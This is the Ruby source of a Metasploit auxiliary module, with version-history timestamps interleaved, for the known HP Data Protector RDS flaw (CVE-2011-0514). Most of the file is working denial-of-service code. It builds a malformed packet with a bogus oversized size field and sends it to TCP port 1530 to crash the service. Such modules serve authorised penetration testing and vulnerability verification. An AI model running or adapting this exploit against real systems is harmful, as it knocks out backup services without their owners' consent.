2011-04-08 07:56:48 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-04-08 07:56:48 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2011-04-08 07:56:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
2011-04-08 07:56:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'HP Data Protector Manager RDS DOS',
|
|
|
|
'Description' => %q{
|
|
|
|
This module causes a remote DOS on HP Data Protector's RDS service. By sending
|
|
|
|
a malformed packet to port 1530, _rm32.dll causes RDS to crash due to an enormous
|
|
|
|
size for malloc().
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Roi Mallo <rmallof[at]gmail.com>', #initial discovery, poc
|
|
|
|
'sinn3r', #msf
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2011-0514' ],
|
|
|
|
[ 'OSVDB', '70617' ],
|
|
|
|
[ 'EDB', '15940' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 8 2011' ))
|
2011-04-08 07:56:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options([
|
|
|
|
Opt::RPORT(1530),
|
|
|
|
])
|
|
|
|
end
|
2011-04-08 07:56:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
buf = "\x23\x8c\x29\xb6" #Header
|
|
|
|
buf << "\x64\x00\x00\x00" #Packet size
|
|
|
|
buf << "\x41"*4 #Data
|
2011-04-08 07:56:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
connect
|
|
|
|
print_status("Sending malformed packet...")
|
|
|
|
sock.put(buf)
|
|
|
|
disconnect
|
|
|
|
end
|
2011-04-08 07:56:48 +00:00
|
|
|
end
|